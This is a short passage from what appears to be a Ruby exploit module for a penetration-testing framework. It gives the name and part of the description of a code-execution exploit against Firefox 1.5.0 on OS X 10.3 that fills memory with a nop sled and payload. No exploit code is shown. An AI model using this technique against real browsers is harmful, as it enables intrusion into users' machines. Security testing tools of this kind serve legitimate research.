'Name' => 'Firefox location.QueryInterface() Code Execution',
'Description' => %q{
This module exploits a code execution vulnerability in the Mozilla
Firefox browser. To reliably exploit this vulnerability, we need to fill
almost a gigabyte of memory with our nop sled and payload. This module has
been tested on OS X 10.3 with the stock Firefox 1.5.0 package.
